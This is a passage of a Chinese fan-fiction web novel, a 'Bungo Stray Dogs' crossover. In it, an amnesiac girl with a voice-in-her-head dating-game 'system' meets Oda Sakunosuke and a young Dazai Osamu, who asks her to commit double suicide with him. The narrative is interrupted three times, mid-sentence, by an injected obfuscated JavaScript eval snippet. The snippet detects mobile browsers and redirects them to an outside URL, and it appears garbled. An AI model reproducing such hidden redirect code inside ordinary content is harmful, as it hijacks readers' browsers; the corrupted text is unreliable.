《[综]我去攻略首领宰?真的假的?》 1. 第1章 永末尚夏抬起眼睛,沉默地扫过四周。 天色将明将暗,日头已近西垂。视野尽头有五栋高楼把天空切割成几块,看起来应该是某栋地标性建筑物,有种挺碍眼的眼熟。 近处废弃板材搭建得七零八落的房屋堆叠在道路的两侧,生长出宛如毛细血管的暗巷,不管从哪里看都好像什么迷宫一样,完全不符合城市规划应有的构造。 盯着那些看不清的巷子,永末尚夏隐约察觉到在她看不见来处的角落,似乎有人、并不止一个人,正在窥视着自己。 那种目光说不上友好,里头的恶意甚至因为时间的推移越发增长,体感有点类似在阴暗角落出没的蟑螂。 而在她身边路过的路人,如果不是麻木赶路,都会以复杂的情绪,特意转头看她几眼。 看他们的表情似乎是想说些什么,但最后都没有说出口。 永末尚夏对于路人未出口的话并不感兴趣。 她平静地扯了一下肩头的羽织,低头确认腰上的东西还沉甸甸地挂在那里,也能完美地被外衫遮住,便转身倚靠护栏,望着河面思考起人生。 她大概是在五分钟前突然出现在这里的。类比一下的话,大概类似于在游戏出生点被刷新出来。 其他能想起来的东西着实不多,除开她的名字应该是永末尚夏之外,基本上可以算是没有。 脑子空空荡荡,好似被龙卷风袭击过的停车场。 人生三大终极问题,“我是谁”“我从哪里来”“我要去哪里”,她现在只能勉勉强强答上第一个。 不过常识性的问题倒似乎比记忆留存的持久,至少她还能思维活络,没有变成傻子。 理论上现在应该开始忧心一些现实的生存问题,但所有情绪都已经跟着记忆一起离家出走,她现在居然没有感觉任何的为难和焦躁,反而有种“果然如此”的习以为常。 永末尚夏逐渐开始什么都不想地望着水面,感觉到一种超脱的心平气和。 “你好,是在这里迷路了吗?需要帮助吗?” 就在这个时候,身后有人说话了。 * 被意外的声音所惊动,少女如梦初醒般颤动了一下,回过了头。 那身在日光下宛如发光的水蓝色长发,随着她的动作极其顺滑地流泻下来,流进她身上那件鹤羽一般的羽织中,露出其下稚嫩的面容。 她回头时的表情介于恍惚和神游之间,但随着思绪回转,好像人偶被点了睛。那种一闪而过的脆弱,瞬间从她的脸上如同潮水般褪去,随之从那双冰蓝色瞳孔中浮现的,是刀锋般拒人千里之外的冷淡。 那双冰冷的眼睛嵌在脸上,好像两颗泛白的蓝色玻璃珠。 少女本身似乎并没有自觉,并不知道要藏住自己看人时很过分的排斥感,也不回应,只一言不发地打量起他。 她跟前,抱着超市打折面包搭话的红发少年微微一怔。 他本来一开始不打算做什么,但在要离开的时候,用余光发现了几个不良少年正往这里投以不怀好意的目光。 这里是镭钵街,由战败和不作为的政府造成的,被遗忘的、横滨的伤口。 放任显然跟这里格格不入的柔弱少女在这里,就好像把刚出生的幼猫抛弃在冬天的道路边上,不过几天她就会彻底失踪在这片暧昧不明的灰色地带。 但现在看起来,这是并不需要的担忧。 红发少年神色自然地从少女腰间熟悉形状的突起收回视线,即使被羽织所遮挡,刀鞘的形状也会随着风的动向被勾勒,何况他对于杀人的兵刃烂熟于心。 虽然对他来说,还是枪械更加方便一些。 即使做了多余的事情,红发少年心里也没有升起什么懊恼的情绪。 他本来想要出声告别,却听到了耳边传来了回应。 “我迷路了。”不知道刚刚的观察有得出什么结论,少女突然用死水一样的声音开口,“在人生的道路上。” 她已经收敛了那种让人不适的视线,平静地看向他。表情似乎想向他传递什么情绪,但体感大概类似搁浅的死鱼在用眼睛发射激光,主打一个意义不明。 尽管如此,红发少年感觉到了轻微的紧张感,虽然对于眼前少女口中的话语含义并不明晰,但有一点很清楚,她似乎真的按照他之前的话,打算对他求助。 红发少年并不是习惯对需要帮助的人主动伸手的好人,但明明已经作出了准备帮助对方的宣告,却又在对方求助之后选择回绝,也有违他一贯的处事风格。 但他并不清楚自己是否拥有……资格。 “简而言之……”少女猜不到他在想什么,继续说道。 红发少年甚至已经读出类似“请收留我”的口型,原本该吐出的话语却突然停滞了。 少女的眼神再度虚化了一秒。 * 【加载完毕!欢迎加入“DokiDoki”恋爱攻略游戏,本次攻略副本“文豪野犬”!我是你的万能好助手JC0721!夏夏有没有想我?】 【不好意思稍微迟到了一会~我降临的时候好像遭了点未知干扰,不过问题不大,接下来我会辅助你的!夏夏~】 由远及近,由轻转响的电子音带着欢乐豆的音效开始大声werwer,从天而降,直坠进永末尚夏的脑子里。 永末尚夏虎躯一震,感觉自己突然被360°立体声环绕音响砸了头,全凭意志力才没有当场表演倒地不起。她不动声色地移动姿势,让身体的重量更多倚靠在河道边的护栏上。 【正在检索可当前攻略对象,目标副本“文豪野犬”……已检索到唯一可攻略目标。金卡人物,港口mafia首领,太宰治。】 【好感度读取,正常;攻略进度条,正常;地图追踪,正常;CG收录,正常;任务发布,正常;积分兑换,正常……】 无数的信息流在她眼前刷屏,汇聚成类似游戏面板的存在,又在她本能地想收起时消失在她的意识深处。 最后只剩下还在絮絮叨叨的电子音:【居然是唯一性攻略目标,还是金卡目标,听起来好麻烦……对了夏夏你现在在做什么……】 短暂的沉默后,电子音爆发出一阵剧烈的惨叫。 【啊啊啊啊!我就迟到了十分钟,你怎么就跟织田作搭上话了呢!】 【不行不行!夏夏!!你不能跟他走!他不是你的攻略对象!而且被他背后那家伙知道了……攻略任务会非常麻烦的!】 永末尚夏强撑着冷静的外壳,抬眼看向眼前的红发少年,从他的表情中读出他显然并没有听到这喧嚣的电子音。 “……谢谢你。”闪念之间,她掐掉了刚刚赖上短期饭票的念头,好像刚才的停顿并不存在那样,继续说道,“不过不必担心我。” 她微微侧过身,指向岸下的那条河流,假装耳朵边上没有那个大松一口气的电子音:“顺着河道往上,我总能找到正路的。” 红发少年有点迟疑,但还是点点头,看着似乎打算就此离开。永末尚夏立即接着说话,以免对方真的掉头就走。 “其实刚刚这边有很多人路过,不过只有你停下来跟我搭话。” 这句话无关紧要,要紧的是下一句。 永末尚夏努力放软声音,但收效甚微:“我可以知道你的名字吗?好心的先生?” 不太确定是哪句话让红发少年局促了,永末尚夏从他的脸上读出一点不自然。 但这也是无关紧要的事情。红发少年在离开之前,还是回答了这个问题: “织田作之助。” ……如果只是幻听,为什么能真的说出陌生路人的名字? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730851|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糟糕了,事情好像不是她疯了这么简单。 * 永末尚夏停留在原地,目送少年离开的背影。 确认双方距离已经绝无可能被听见对话,她才出声道:“闭嘴,你吵得我耳朵疼。” 与此同时,她手上也没有闲着。永末尚夏神色平静地,宛如只是取出雨伞一样,从羽织中抽出了一把长刀。 深蓝色的刀鞘上攀援着几圈古铜色的纹路,刀镡是简朴的丸形,刀柄上缠绕着柄绳,柄头处也雕刻着精细的花纹。 明明是第一次见到这把刀,永末尚夏却莫名有种已经跟它并肩作战过很多次的熟悉,她短暂地把这份情感在心中品了一品,不置可否。 从刚刚红发少年的反应中,她已经敏锐地察觉到,现在身处的地带似乎跟她所想的不同,她脑子里边有一些“限刀令”之类的管理条例,但这里的民众似乎觉得大活人随身携带杀伤性武器也很正常。 这样看来,把刀刃摆在明面上,比藏在袖中更有意义。 “铮——”永末尚夏一边思考,一边习惯成自然地用拇指顶开一截刀身。 炫目的光在刀身上一闪,反射到了四周窥视着这里的人眼中,带来同等锋锐的恐惧。 她有些新奇地看到,手指接触到的刀刃随着呼吸晕开一道黑色,这种颜色迅速地侵占了整个刀身。 看起来也是把很特别的武器呢……会有谁不知死活地上前让她试刀吗? 虽然说现在对于怎么使用它,永末尚夏其实毫无头绪。但也许手放在刀柄上的时候就会想起来。 永末尚夏微微抬起眼睛,无机质的目光扫过那些阴暗的角落,跟可能藏在其中的人精准地一一对视。 结果就是在几秒之内,他们非常自觉地消失了。 【……别做危险的事吧夏夏,现在是现代社会了。】那个幻听一样的电子音再度出声了,大概是之前被顶了一句闭嘴,现在的声调有点虚弱。 【其实夏夏可以在脑子里跟我说话的……】它小心道。 或许是逐渐适应了,永末尚夏现在并不觉得这个声音吵得她头疼了,虽然还是很吵。 她收回视线,把已经完全变成青色的刀身收回鞘中,迈步沿着河岸往前走去。 从她混乱的记忆碎片里边,永末尚夏依稀还捡得起来几枚跟现状有关的碎片。 幻听是精神分裂的前兆,最好不要聆听多余的声音,她的记忆是这么劝告的。 但现在有一个明显更加紧迫的问题。 “游戏、任务、攻略对象什么的,不管是什么信息都好。说吧。” 永末尚夏对着自己的脑子比出一个开枪的手势,在脑子里边出声。 “毕竟我现在什么都想不起来。” 【咦……咦????!】系统大惊失色。 * 十分钟后。 “不好意思,我没有听错吧?……你说你是来自高维世界的恋爱攻略游戏的辅助系统,而我,是你的玩家?” “在登录新世界的时候,我们失散了几分钟,找到我的时候,我已经失忆了?” “游戏通关,就是让你所谓的攻略目标爱上我?” 永末尚夏开始深深怀疑自己的耳朵,也许应该连脑子一起怀疑。 我怎么会玩这种游戏?她费解地想。 而且这种临时失忆也超可疑吧! 【是的,没错。】电子音斩钉截铁,似乎不觉得她失忆是什么大不了的事情,【别害怕啊夏夏!你失忆了我主C!】 话到此处,它啪地一下弹出游戏面板,调出一张卡牌,指着上边的立绘,激情洋溢地开始了: 【既然是唯一攻略对象……那么就很简单了!看到这位黑风衣红围巾的漂亮男士了吗?】 【我们的目标,就是让他爱上你!】 2. 第2章 永末尚夏闭了闭眼睛,再度睁开,确认不管怎样,游戏面板都有如牛皮糖一样在视野中挥之不去。 她又扶着护栏往下看了一眼,看清面板并没有在水中留有什么倒影,这才集中注意力,跟卡牌立绘中的男性对视。 她已经刻意忽略了对方,但行动时,立绘中的男性依旧带来非常鲜明的存在感。 立绘显示的青年看起来二十出头,除开颈上那道血痕一样的围巾,周身简直没有除了黑白以外的颜色。 他望向界外玩家,单边侧脸被绷带环绕,脸上带着近似倦怠的神情,又有一抹习惯成自然的微笑黏在他的脸上,像是脱不下来的面具。 青年注视着她的右边眼睛,更是宛如一枚黑洞洞的枪口。 不知道是哪里的问题,永末尚夏越是观察他,越是感觉异样从脊骨往上爬。 几乎在看清人的瞬间,她的嘴唇自己闭死了,呼吸也自觉自动地屏住了,心跳的速率倒是开始直线飙升。 一直到她强迫自己移开注意,才意识到自己不知不觉站直了。 不能理解,难道因为这张立绘被画得特别像遗照,所以导致一种看见活鬼的恐怖谷吗? ……还是上辈子自己欠了他很多钱,或者被欠了很多钱? 港口mafia首领,太宰治,金色卡牌。 永末尚夏用意念尝试让这张卡牌在游戏面板中隐去,非常轻易地就成功做到了,底下显露出游戏面板结构的半透明屏幕。 “有一件事我得先告诉你。”永末尚夏细细查看起面板的设置,“虽然记忆不是很清晰,但我打乙女游戏应该都是跳过日常剧情的,并且很容易打出猎奇向BE。” “对于通关什么的,不要抱有期待比较好。”她点击了自己的信息。 【玩家:永末尚夏[附照片] 身体年龄:14周岁(骨龄) 基础数值:[收起状态,选中展开] 当前时装:鬼杀队队服(使用中) 特殊技能: “无足之鸟”(固定特质)[已同步至本世界适用状态]、 呼吸法(习得性武技)[熟练度不足,已锁定部分技能]…… 系统包裹栏:1格(锁定中,无法使用)】 永末尚夏挨个细看,先点进了自己名字边的照片,确定上头没有匹配捏脸功能,遗憾于失去了易容的能力,又放大看了看。 这具身体看起来只有十四岁出头,虽然还算好看,但也绝对没超越人类极限,细看之下,过于苍白的肤色和完全没有波动的瞳孔甚至会带出点隐晦的异样感。 谁给她的信心用这么一副身躯去玩弄人心? 永末尚夏再度升起不能理解的心情,她觉得自己去三流恐怖片里边扮演女鬼,都会比玩攻略游戏来得有前途。 再往下就是她的基础数据,永末尚夏点开之后与现实一一对应,有点意外地发现这具身体居然没有修行过的痕迹,爆发力和耐力都不太行,甚至还有点营养不良。 ……之前她居然觉得自己能一个打十个,现在看起来是错觉吧! 在内心给自己加了锻炼的日常安排后,她略过不明所以的时装部分,最后把注意重点落在了标注特殊的部分。 她来回找了一圈说明,确定了。 “无足之鸟”似乎原本是她的一个固有技能,但因为登录新世界,自动适配了本世界特有的能力体系。于是现在出现在她跟前的就是一个自带命名的异能力。 除名字之外什么多余描述都没有的那种。 那么问题来了……这个能力怎么发动,能干什么? 以及这个世界既然有异能力这种能力体系,最厉害的那批能做到什么水平?又有多少人有这种力量? ……虽然信息越来越多,但是问题也在同步增加。永末尚夏现在开始想叹气了。 【夏夏。】电子音在她认真研究的时候自觉噤声了,一直到她情绪不佳才悄悄插话,【如果是夏夏的话,想获得谁的喜欢……一定可以做到的!】 【……就算对象是这个人的话,嗯……也一定可以的!】 永末尚夏对这家伙不知道哪里来的乐观颇为不解,但看在它熟门熟路住进自己脑子,一时半会不打算走的份上,没出声质疑。 她简略查看呼吸法,似乎是一种调节呼吸,以激发爆发力和速度,锻炼身体强度的武术法门,目前点亮的只有一个叫做水之呼吸的基础部分,后边长长一串“身体条件未满足,未激活”。 面板剩下未解锁的部分,则必须要在选定攻略对象之后解锁。 选定攻略对象很简单,似乎只要把手中的攻略对象卡牌,放置在右侧的卡槽里边就是了,遗憾的是在放上去之前,永末尚夏不知道还能不能移除。 那么现在问题就只有一个了。 这个游戏,真的要玩吗? 被强买强卖玩游戏不是什么好体验,但只是把这玩意当作可利用的金手指,说不定对目前身无分文被放生的现状会有什么帮助。 但莫名其妙地闯进别人的世界,以游戏的理由随随便便谋划着要欺骗别人的感情,把活生生的人类当做可攻略的npc随意摆弄……听起来非常恶劣。 ……不过这也是无关紧要的事。 永末尚夏品味了一下这个发展,不怎么意外地发现自己没什么同理心,就算真的做出这种事,大概也不会觉得愧疚。 但是有什么理由要把自己打包成礼物,送到攻略对象的跟前被评头论足地挑选呢? 她翻出唯一存在的那张金卡,跟里边的黑衣青年对视。 “如果我还是不想玩这个游戏呢?消极怠工的话,我会被抹杀吗?”短暂的静默之后,永末尚夏平心静气地发问了。 【欸?欸?!】电子音,或者说系统,发出惊讶的声音。 从一开始就一副可可爱爱没有脑袋的样子,但这份天真无邪的性格,说不定也只是糖衣外头包裹住的毒药。 永末尚夏用百般耐心重复了一遍:“我不想玩的话,会怎么样?会死吗?” 【不不不!】系统呆了一秒,还是立即回答了。 【是夏夏的话,怎么样都可以吧!】 永末尚夏心如止水地听着,抓住重点地询问道:“也就是说,我也可以就这样普通地在这个新世界开展新的人生?” 【DokiDoki恋爱攻略系统诞生的本意,只是想要见证精彩的恋爱……】系统发出了有点害羞的声音,【就算玩出糟糕的be或者扭曲的he……嗯,不健康的恋情也是必要的风味……但是,但是!】 系统大声宣告:【我是纯爱甜饼爱好者!只有甜甜的恋爱,才是我想看到的。】 【所以玩家的幸福,也是我守护的目标!夏夏如果拒绝游戏,那我、那我也……】 它说到一半,声音逐渐变得扁扁的。 【但是当初,是夏夏选择了我呀!夏夏明明说过我很重要……也很有用……我可以做夏夏的锚点什么的……】 系统开始嘟嘟囔囔起一些【其实攻略一下随便混点积分,反正中途放弃进度也没事啊】、【呜呜,不能开机的话我岂不是就完全变成电子宠物了】的话。 永末尚夏自动把这些话滤成了白噪音。 听起来她之前虚言哄骗过这个小东西,还是拿一些羁绊啊友情啊的烂大街嘴遁话术就成功了。 那么,这个游戏,有什么价值能让她违背自己的一贯喜好,也要去玩呢? 她的目光无意识地落在手中的金卡上。 ……总不能说是被美色所惑? “话说回来,攻略对象,到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730852|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是如何选择的呢?” 根据能力、性格、玩家喜好,还是什么标准被筛选出来的呢? 【唔,我也不知道该怎么描述……不过夏夏想知道的话,大概是……命运吧?】 【在当前世界可扫描到的范围内,有哪些在未来的命运里边,能跟玩家发生会有结果的恋情的对象,就是能扫出来的攻略对象了。】 唯一的恋情命运……吗? 听起来像什么“俄狄浦斯效应”导致的诅咒。 永末尚夏眨了眨眼,隐去所有的游戏视野,在恢复视觉的同时,感觉到了百无聊赖的好笑:“我的眼光这么糟糕吗……?” 我一定要步入这条河流吗? 她发现自己已经不知不觉顺着河道走到陌生的港口了,夕阳即将在此伴着入海,黄昏的质感填充着水波。 也应该找个能度过今夜的地方了。 永末尚夏散漫地扫过河道最后一眼,目光顿时一滞。 ……那个是? “啊……还真的是,说不定就是这么糟糕。”她自言自语。 永末尚夏三步并两步地靠近河道边的护栏,扒住栏杆往下探身。 没有看错,其实不需要很强的眼力,这个画面还是很醒目唯美的。 一个十多岁的少年人,应该跟她现在的身体差不多年纪,正神色宁静地顺河水漂流下来。 他穿着一件应该很贵的黑色西装,单侧脸上裹着绷带,只露出一只眼睛,左手扣着一本红色封面的书,即将熄灭的金色阳光洒在他的睫毛和发丝上,让他姣好的面容有一种睡眠般的幸福感……但永末尚夏的手指在栏杆上微微抽搐起来了。 这个少年长了一张跟卡牌中的黑衣青年一模一样的脸。 ……命运逐她而来,并且貌似已经死掉了。 …… …………… 永末尚夏看了一会:“你们有没有攻略对象死掉的备案?” “事先说好,我没有打捞浮尸的兴趣。” 【他、他应该还没有死吧!夏夏……】系统磕磕巴巴地试探。 “溺水的话,有黄金五分钟的说法……事实上3~4分钟死掉的居多。”永末尚夏用脑子里边新鲜跳出来的知识阐述自己的想法,“如果他是刚刚从附近掉下去,我至少应该听到声音。如果在我听不到的距离掉下去,人是跟着河水慢慢过来的话……” “现在应该至少窒息五分钟了。” 系统顿时不吭声了。 尸体腐烂之后会出现巨人观,在水里的尸体效果会格外炸裂,也许为了河流的卫生情况,她等下应该去报警,不管是救人还是捞尸,这都是最优解……不过如果对方直接被顺着冲进海洋里边,那就随便他被鲨鱼吃掉吧! 永末尚夏正散漫无礼地用各种假设填充起脑子,眼睛却捕捉到了不可思议的一幕。 ——尸体睁开了眼睛。 系统居然没有说错,他确实还活着。永末尚夏的第一想法是这个。 见证了奇迹的心情浮上来,情绪却算不上非常正面,她还没有想好到底要怎么面对这个游戏的卷入者,不管用亟待亏欠的心态,还是用真的期待什么的心情都非常奇怪。 但就算如此,这一幕依旧很美,夕阳把少年在水波中眼神切割得很朦胧,睫毛震颤的瞬间她正从上方望向他,完美地让自己的影子落进他的瞳孔。 大概是阳光的错觉,让他的眼中晕开一圈不真实金色光晕,而她正是其中唯一的阴影。 一切有一种宿命般的氛围,好像上帝之笔正在描绘着一幕。 啊,当然。 下一秒,他好像突然诈尸那样从水里游到岸边,直接翻身上岸来,死死地抓着她的手,说什么“要不要一起殉情”这种水鬼抓替身经典话术,完全破坏了这种意境就是了。 3. 第3章 “美丽的小姐,愿意跟我一起殉情吗?”水鬼托住永末尚夏的手,满脸写着真诚。 永末尚夏没有一定要回答别人问题的习惯,更何况这个问题微妙让她联想起怪谈里边“我美吗?”、“有没有看见我的头?”的经典问答。 永末尚夏不做任何表情的时候,脸上会自带一种目中无人的傲慢,如果她的长相稍有偏差,这种感觉就会让人感觉到无礼和冒犯了,但因为她的脸跟这种气质恰到好处地有几分反差,反而让这种感觉更加近似机器的“不通人情”。 现在永末尚夏就带着这样的表情,扫过他俩交握的手。 她刚刚就意识到了,虽然是握手的姿势,但对方其实牢牢地控制住了她的手腕,她不进行一些很明显的大幅度动作根本无法挣脱对方。 ……这对吗? 永末尚夏没流露出多余的表情,平静地将目光定在水鬼先生的眼睛上。 跟他蜜糖一样的声音不同,那是一双漆黑的眼睛。 永末尚夏理智上知道大概是因为背光导致的色觉错误,但感情上却荒谬地觉得: 那双漆黑的、点墨一般的黑色眼睛,正是无数的阴影和死亡落在他的瞳孔中,才汇聚成现在注视着她的,深渊的质感。 水鬼先生、未来会变成卡牌上那个孤魂一样的青年首领但现在还只是个少年、她的攻略对象、太宰治。 原来是这个样子的。 永末尚夏没有移开视线,语气平平地拒绝:“抱歉,但你连我的名字都不知道……我不可能答应这种事。先生。” “只是这样的理由吗?美丽的小姐~” 在她预备强行挣脱他的手之前,太宰治突然用虚伪、玩笑,又温柔轻快的声调补充了之前过于宽泛的称呼: “那么,小夏小姐,愿意跟我一起殉情吗?” “……”这个名字为什么会从他的口中吐露? 太宰对她拉开弧度完美的笑容。 永末尚夏看得出是假笑,因为他装得也没有多认真,他是故意把一种同步的危险感倾轧到她的心脏上的。 阴冷的恐惧这次是真的爬上了永末尚夏的脊背。 …… ………… 他认识她?在失去的那段记忆里边,她曾经遇见过他吗?她之前是什么人?在过去有什么留存过的证明?她应该也表现出认识他吗? ……不对,那刚刚她的反应是不是大有问题? 无数的问题应声浮现,因为缺失情报而产生的混乱扎进永末尚夏的脑子。 这个称呼被他说得宛如一个警告。 永末尚夏根本不用看就知道太宰正在兴致勃勃地观察她的反应,就像猫咪好整以暇地在等待猎物探出洞穴,期待着这次能有什么新花样。在猎物死掉之前。 很恶劣的样子……就算曾经有过交集,她得到的似乎也不是正向的好感。 糟糕,说出自己失忆的现状,感觉会被对方随意用谎言玩弄于鼓掌之中,这种欺骗甚至连之后寻找曾经自己留下的痕迹也会找不到真相…… 但如果想瞒过眼前这个人,刚刚应该已经犯错了。 某种对危险的直感滴滴作响,让永末尚夏不自觉地警惕起来;另一种被生活殴打过的经验又在告诉她:绝对、绝对、不要在他的面前表露出一点点害怕。 恐惧是这种人一直以来相伴的指尖牵线,在他手中完全可以化作刀刃解剖任何存在。 不对。永末尚夏突然冷静下来了。不对,他应该跟她并不相熟。 首先不会是友好层面上的熟悉。如果真的是友人的话,不应该装作不相识然后突然袭击,故意施加言辞上的压力,仿佛在期待她有什么破绽流露一样。 ……除非这家伙非常擅长且喜欢演出独角戏,或者深深憎恶于她。 ……往好处想,说不定两者皆有呢。 而如果是敌人的话,他也不应该会做出刺探的姿态,因为真的被当做需要郑重对待的敌人,她的性格、过往经历、行为模式、思维结构都应该清清楚楚地被他记得,根本不会需要这种简单的交锋。 那么我们之间应该压根没什么正经交集。 “开个玩笑,小夏小姐。” 对话并没有因为不被回应而停滞。 危险感转瞬即逝,太宰突然敛去了那种深情款款的神情,用一种颇为真实的哀怜语气自顾自地说道: “已经把我忘记了吗……明明上次见面的时候还缔结过约定……如果下次见面就永远留在我身边,什么都可以补偿我……” 被发现了呢,记忆出问题这件事,不然这家伙怎么突然开始信口开河。永末尚夏想。 她在心里微微叹气,给自己之后可能找到的过往痕迹预先打上存疑标签,随后干脆利落地打断施法:“我们见过吗?非常抱歉。你应该认错人了吧。” 如果要走失忆之前曾经欠下情债,要她现在偿还的三流戏码,那还是算了吧,她会都当作“不记得就是没有”的。 眼前的太宰用若有所思的目光瞧了瞧她坦然的面容,语气中居然真的有点轻飘飘的真实,又意有所指:“别这么着急否认啊,小夏小姐。” “这一天我可是等待好久了。”太宰轻轻摇晃了一下她被禁锢在他手中的手腕。 明明跟她相差无几的年纪,但他就能娴熟地把谎言、威胁包装成某种近似爱语的言辞,吐露得自然又轻松: “留在我的身边吧……我可是真心实意地慕恋着小姐你的。” “…………”永末尚夏沉默了。 谎言,彻头彻尾的谎言。 只用看一眼就知道了,他们之间现在没有,之后应该也无法诞生“爱”那种东西。 虽然还不能理解系统的判定到底是怎么一回事。但她压根看不到所谓恋情的可能性。 打一个简单的比方,如果在生存和死亡中有选择,就算生存前边加上“痛苦的”或者“无聊的”形容词,永末尚夏也不会选择死亡,而他身上有种不在意自己也不在意他人的、跟死亡过于贴近的感觉。 活着并不有趣,但她不想逃进死亡中。单就这一点来说,某种本质上的东西他们已经无法弥合了。 除开谎言的部分,这个人到底知道多少呢?是知道那个游戏,还是纯粹用恋情当做拉近关系的借口、结果意外命中靶心? 永末尚夏突然发现,在太宰出现之后,系统就没再说过话了。 天已经彻底黑下去了,河岸边的街灯一盏一盏亮起来。 太宰手中红色封皮的书本被他随手挟着,书脊上写着《完全自杀手册》,因为刚刚从水中自力更生地爬出来,水滴还在一滴滴地顺着他额头的绷带往下滴落,海水的腥气也随之侵染在周围的空气。 他含着微笑,仿佛并不在意地等待着她的回答,但从开始就没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15730853|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松手的意思。 事到如今多少有种被boss堵在出生点杀的感觉,永末尚夏不觉得答不答应会有什么区别,除非她现在突然抽刀砍断自己或者对方的手逃跑。 “啊,还是第一次遇到这种事……”永末尚夏在长久的沉默之后终于开口。 她反手一扭,力度很重,似乎太宰绝不松手就不介意把双方的肢体跟着一起拧断。 太宰当然没有松开,他以一种异常灵便的动作在她转换姿势后依旧牢牢地牵住她的手,甚至还有余裕询问:“什么?” 永末尚夏倒也并没有一定要挣脱,在双方的接触方式转变后,她顺利地反过来牵住了太宰。 他的手因为在水里泡久了,现在显得又湿又冷。 当然是攻略对象追着玩家要求被攻略这种奇观啊。永末尚夏心里想着,嘴上却说道:“一见钟情的对象也喜欢我这种事。” 她努力让自己的声调多出一点诚恳和起伏,但似乎一张嘴,声音就宛如死鱼一样从喉咙里滑脱出来:“我对先生你也一见钟情。” “既然我们现在两情相悦,那么就此成为一对天造地设的恋人吧。”她冷静地宣告,“你愿意吗?先生。” “噗……”不知道这个反应哪里不对劲,眼前的这家伙直接笑出声来了。 永末尚夏全当作没有听到,打定主意之后就没有再拖延的意思。 这下等待回应的反而变成了她。 “好啊。”对方笑意盈盈地答应。 话音刚落,永末尚夏行动力很强地直接在意识中展开游戏界面,选中唯一一张的金卡,进行确认。 瞬间,无数的游戏提示消息挤占了永末尚夏的视野。 【第一攻略对象已锚定。】 【地图功能:开启。实时标记攻略对象位置。】 【任务系统:开放。已完成任务:“初次见面”、“初次牵手”、“初次交谈”、“初次告白”……同步获得积分*40。】 【CG收集:“初遇の黄昏”、“我们可是一见钟情!”已收入CG相册,同步获得积分*200。】 【当前攻略进度:2%】 【当前好感度:0】 …… “小夏小姐。”耳边传来了温柔的呼唤。 “说完这种话,突然发起呆,是在想什么呢?” 永末尚夏眨了眨眼睛,游戏界面随之收起,她重新回到河岸边互相牵手互诉衷肠的浪漫攻略剧情走向中。 她镇定地抬眼看回去,却看到太宰没被绷带遮住的眼睛正看着她,一副不知道盯着看了多久的样子…… 真是奇怪的反应,不管怎么说,她难以从这张脸上解读出有什么深情。 ……而且那个0明晃晃地挂着呢。 “我在想,我还不知道先生你的名字。”永末尚夏唐突地说道,“虽然先成为恋人,之后再问名字有点奇怪。但是可以告诉我吧?” 为了避免之后不留神说漏嘴,现在还是告诉我吧。她想道。 “太宰治。”眼前的人宽容地交付了名字,似乎觉得不够公平地又摇晃了一下她的手,虽然还没松手,但现在他们也是正常牵手的姿势了。 他亲昵道,“我也要听小夏小姐的自我介绍。” “永末尚夏。”永末稍微有点奇怪,但还是直接地说了。 “简而言之,请多指教,我的恋人。” 4. 第4章 浴室传来窸窸窣窣的动静,隔着磨砂玻璃,永末看得见里头的人影活动,却看不见具体脱衣服的细节。 ……这个人洗澡会摘掉那些绷带吗? 响起来的水流声慢慢冲掉了多余的联想。 这间屋子是永末表示自己无家可归之后,被太宰带过来的地方。 简洁的一户建,里头各色家具齐全,除了没有几分活人住过的气息外一切都好。 “要去的是太宰先生平时住的地方吗?” “当然啦,小夏小姐不愿意跟我回家吗?” 路上的对话言犹在耳,推开门之后,永末直接眼尖地在玄关地上发现了一层没扫干净的积灰。 永末深刻怀疑是他临时找人腾出来的地方。 …… 总之,这里能找到太宰换洗的衬衫和西装已经是幸运了,根本没有任何女孩子能穿的东西。 所以把刚刚下过河、差点下了海的太宰赶去浴室冲洗,永末洗过手对着袖子上的污渍陷入思索。 被弄脏了……有点麻烦,总不能穿他的衣服吧? 【夏夏,时装可以花费积分恢复的!】 熟悉的电子音就在这个时候又响起来了。 “啊,你回来了。”永末面上不动,脑内说道,她一圈圈地先把袖子卷起来,“我还以为你也迷失在人生道路上了。” 她略带调侃地说道:“迷路莫非是你的固有设定?” 【我一直都在的!……是夏夏以前自己设定的!跟攻略对象说话的时候会屏蔽掉我的声音。】系统遭了污蔑,立即大声werwer。 “哦……那我还挺有先见之明。”永末不置可否,转头就跟浴室里边说话,“吃夜宵吗?恋人君。” 电子音果然当场消音。 浴室中的人影肩头一动,从里边传来了带着柔软尾音的回话,永末佩服他能把什么话都说得像是撒娇,“想要蟹肉寿司。” “那得祈祷帮你整理屋子的人了不了解你的喜好了。”永末随口说道。 “……厨房和冰箱,能找到什么就吃什么吧。” 不过海鲜泡面总应该找得到。 浴室里的太宰没有再回应。 不论回答的声音怎么雀跃,他的脸上一直没有什么表情。 